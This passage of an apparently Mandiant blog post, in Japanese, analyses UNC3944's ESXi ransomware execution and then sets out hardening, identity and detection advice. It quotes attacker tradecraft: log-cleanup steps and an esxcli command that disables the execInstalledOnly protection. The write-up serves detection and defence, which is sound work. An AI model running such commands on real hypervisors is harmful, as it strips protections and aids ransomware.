キーと除外リストを含む、時間差ランサムウェアを起動する正確なコマンドがログに記録されます。nohup コマンドにより、ユーザーがログアウトした後も実行が継続されます。

クリーンアップして終了

/var/log/shell.log

ls nohup.out

exit

脅威アクターの最後のコマンドとセッションの終了は、脅威アクターが退出する前に記録され、ペイロードは実行されたままになります。

表 5: ESXi ランサムウェアの実行

  • 効果的な理由: ESXi シェルのルートアクセスは、仮想環境における最高レベルの権限です。ハイパーバイザ レベルで暗号化することで、ゲスト内のすべてのセキュリティを回避し、1 回のアクションでサーバーを侵害します。
  • 主な検出シグナル:
    • [ネットワーク] SSH/SCP 経由で ESXi ホストとの間で大きなファイルが転送された場合のネットワーク フローログをモニタリングする。
    • [行動] 単一の ESXi ホストから大量の VM 電源オフコマンドが発信された場合の SIEM アラートは、進行中の攻撃を示す忠実度の高い指標です。
    • [ログ] esxcli system settings kernel set -s execInstalledOnly -v FALSE(脅威アクターが重要な防御を無効にしようとしている)の実行と、大量の vmsvc/power.off コマンドについて、ESXi ホストのログをモニタリングします。この設定は再起動後にのみ適用されるため、このアラートを、短時間内に発生する後続のホストの再起動と関連付けます。
  • 重要な強化と軽減:
    • [重大] vSphere ロックダウン モードを有効にする: これは、ペイロードのプッシュと実行に必要なインタラクティブな SSH アクセスをブロックするため、このフェーズの主な予防策となります。

    • [重大] execInstalledOnly 実行ポリシーを適用する: この ESXi カーネル設定は、技術的な防止策として決定的なものです。署名されていないバイナリの実行をブロックし、脅威アクターによるカスタム ランサムウェアの実行の試みを失敗に終わらせます。セキュアブートでハードウェア ベースの TPM 2.0 チップを有効にして、この設定をロックし、無効にできないようにします。

3 本柱の防御: 強化された戦略

柱 1: プロアクティブな強化(最も信頼できる防御)

  • アクセスを集中化するアーキテクチャ: ESXi ホストを Active Directory に直接結合しないようにします。すべてのホストアクセスを vCenter のロールと権限のみで管理します。これにより、攻撃対象領域が大幅に縮小されます。

  • vSphere ロックダウン モードを有効にする: これは、ESXi の管理を制限し、SSH 経由の直接シェルアクセスをブロックして、vCenter 以外からの変更を防止する重要な制御です。

  • execInstalledOnly の適用: この強力な ESXi カーネル設定により、署名付きのパッケージ化された vSphere Installation Bundle(VIB)の一部としてインストールされていないバイナリの実行を防止します。脅威アクターのカスタム ランサムウェアの実行を直接ブロックできるはずです。

  • vSphere VM 暗号化を使用する: ティア 0 の仮想化されたアセット(データセンター、PKI など)を暗号化します。これは、オフライン ディスク交換攻撃に対する決定的な技術的ブロックであり、盗まれたディスクファイルは読み取り不可能になります。

  • インフラストラクチャの健全性を厳格に保つ: 古い VM を電源オフにするだけでは不十分です。厳格な廃止プロセスを実装し、データストアからディスクを削除するか、分離されたアーカイブ ストレージに移動して、足場になりうるマシンを排除します。

  • ポスチャー管理: 強化は一度限りのタスクではなく、「構成のずれ」に対してセキュリティ状態を維持するために常に必要です。したがって、継続的な vSphere ポスチャー管理(CPM)を実装することが重要です。UNC3944 のプレイブックは、SSH の有効化やファイアウォール ルールの変更など、こうしたポリシーの逸脱を発生させることに根本的に依存しています。vSphere Aria Operations Compliance Pack や Wiz などの専用のハイブリッド クラウド セキュリティ ポスチャー管理(CSPM)ツールを使用するか、PowerShell / PowerCLI 経由で vSphere API を利用するカスタムの社内スクリプトを開発して環境を定期的に監査することで、強化を継続できます。

  • ヘルプデスクを強化する: 特権アカウントの場合、MFA の登録またはパスワードの再設定には、対面、複数手法、または高保証の多要素認証プロセスを必須とします。

柱 2: ID とアーキテクチャの完全性(攻撃チェーンの遮断)

  • フィッシングに強い MFA をあらゆる場所で適用する: これは、VPN、vCenter ログイン、すべての特権 AD アカウントに適用する必要があります。仮想センターへのアクセスをファイアウォールで保護し、専用の強化された PAW を使用します。

  • 重要な ID インフラストラクチャを分離する: ティア 0 アセット(ドメイン コントローラ、PAM、Veeam など)を、厳格なアクセス ポリシーが適用された専用の高セキュリティ「ID クラスタ」で実行し、汎用ワークロードから分離します。

  • 認証ループを回避する: アーキテクチャ上の重大な欠陥として、ID プロバイダ(AD)の復元システム(Veeam)や特権アクセス管理(PAM)を、それらが保護および認証する仮想化プラットフォーム上でホストすることが挙げられます。基盤となる ESXi ホストが侵害されると、依存サービスと復元手段の両方が相関的に障害を起こし、障害復旧が大幅に複雑化または不可能になるシナリオが発生します。

  • 代替の ID プロバイダ(IdP)を検討する: AD からすべてへのつながりを断ち切るために、インフラストラクチャへの認証には、Azure Entra ID などのクラウドネイティブな別の IdP を使用することを検討します。

柱 3: 高度な検出と復元(セーフティ ネット)

  • 強化後に検出を構築する: 最も効果的なアラートは、導入した強化コントロールの操作を試みる行為を検出するものです。まず強化し、次に検出ロジックを構築します。

  • 重要なログを一元化してモニタリングする: AD、vCenter、ESXi、ネットワーク インフラストラクチャ、ファイアウォール、バックアップからのすべてのログを SIEM に転送します。これらの異なるソースからのログを関連付け、脅威アクターの計画的な動きを特定できる高忠実度の検出シナリオを作成します。

  • 忠実度の高いアラートに焦点を当てる: フェーズ 1~3 のイベントのアラートを優先します。ホストでの SSH の有効化、VCSA の乗っ取り、または「Veeam Admins」グループのメンバーシップの変更を検出することで、データ漏洩やランサムウェアのデプロイが発生する前に行動できるようになります。

  • サバイバルのためのアーキテクチャ: 最悪のシナリオを想定します。変更不可でエアギャップされたバックアップは、最後の防衛線です。本番環境の AD から分離し、侵害された管理者がアクセスできないようにする必要があります。この特定の脅威モデルに対して復旧計画をテストし、機能することを確認します。

結論: 防衛者の使命 - 強化とアラート

UNC3944 のプレイブックでは、防御戦略の根本的な転換が求められます。EDR ベースの脅威ハンティングから、インフラストラクチャ中心のプロアクティブな防御に移行する必要があります。この脅威は、速度とステルス性の 2 つの点で、従来の Windows ランサムウェアとは異なります。従来の攻撃者は偵察に数日、あるいは数週間も滞留することがありますが、UNC3944 は非常に迅速に活動します。初期アクセスからデータの流出、最終的なランサムウェアのデプロイまでの攻撃チェーン全体が、わずか数時間で発生する可能性があります。このスピードとフォレンジック証拠を最小限に抑える動きは、疑わしい行動パターンを特定するだけでなく、本格的な侵害にエスカレートする前に即座に阻止することが不可欠になります。

この環境寄生型(LotL)アプローチが非常に効果的なのは、Virtual Center アプライアンスと ESXi ハイパーバイザで従来の EDR エージェントを実行できないため、仮想化レイヤに大きな可視性のギャップが残るからです。そのため、SIEM 内の高度な検出エンジニアリングが、アクティブ ディフェンスの主要かつ最も重要な方法となります。

この事実は、早期アラートを検出して対応する能力が防御者にとって最も重要な鍵となることを浮き彫りにしています。ランサムウェアの最終実行時に生成されるアラートは、乗っ取りが成功したことを通知するにすぎません。一方、脅威アクターがヘルプデスク アカウントを最初に侵害したとき、または異常な場所から Virtual Center にアクセスしたときにトリガーされるアラートは、調査を実行する出発点となります。これは、脅威アクターが完全な管理権限を獲得する前に脅威を排除するための重要な機会となります。

そのため、広範囲にわたるノイズの多いアラートの海をかき分けていくことだけでは不十分です。vSphere 環境の多くが、過度に許可されたロールや有効化された SSH などの安全でないデフォルトを基盤として構築されているため、ESXi ホストと vCenter からの一元的なロギングの可視性が不足しています。その場合、このような受け身のアプローチは特に効果がありません。これらのシステムから適切なコンテキストが得られない場合、セキュリティ チームは、脅威アクターの計画的な LotL の動きを、手遅れになるまで把握できません。

そうではなく、戦略は二本立てでなければなりません。まず、これらの基本的なギャップを体系的に修正し、攻撃対象領域を縮小するには、積極的な多層防御の技術的強化が必要です。2 つ目は、脅威アクターの戦術、手法、手順(TTP)を詳細に分析して、早期の動きを特定するために必要な高忠実度の相関ルールとロギング インフラストラクチャを構築することです。つまり、単一のイベントに関するアラートを越えて、ヘルプデスク チケット、Active Directory でのパスワードのリセット、その後の vCenter への異常なログインを関連付けるルールを作成します。

この 2 つの戦略は共生関係にあり、防御によって検出が可能になるシステムが構築されます。堅牢なセキュリティ強化は、単なる障壁ではありません。脅威アクターに摩擦を生じさせ、本質的に疑わしい行動を試みざるを得ない状況に追い込みます。たとえば、ロックダウン モードが有効になっている場合(セキュリティ強化)、脅威アクターが ESXi ホストへの SSH セッションを開こうとしても失敗しますが、特定の優先度の高いイベントも生成されます。この制御自体が、適切に構成された SIEM が捕捉するように構築されたクリーンなシグナルを作成します。

vSphere に大きく依存している組織にとって、これはただの机上の空論ではありません。この脅威が特に危険なのは、セキュリティ戦略全体を無意味にする可能性があることです。この攻撃は、ドメイン コントローラ、認証局、PAM ソリューションなど、仮想化されたすべてのティア 0 アセットをホストする基盤となるハイパーバイザを攻撃することで、従来の階層化モデルを回避します。これにより、階層化の論理的な分離が完全に無効になります。同時に、VM がオフラインの間に仮想ディスクを操作することで、ゲスト内のセキュリティ ソリューション(EDR、ウイルス対策(AV)、DLP、ホストベースの侵入防止システム(HIPS)など)を回避します。これらのエージェントは、ESXi レベルの直接的な変更を監視できないためです。

脅威は差し迫っており、攻撃チェーンは実証済みです。Mandiant は、UNC3944 などのグループが利用して成功を収めたハイパーバイザ レベルの戦術が、もはや UNC3944 などのグループだけのものではないことを確認しています。これらの TTP は現在、他のランサムウェア グループによって積極的に採用されています。この拡散により、特殊な脅威が主流の攻撃ベクトルに変わるため、今すぐ行動する必要があります。

-Mandiant

 

投稿先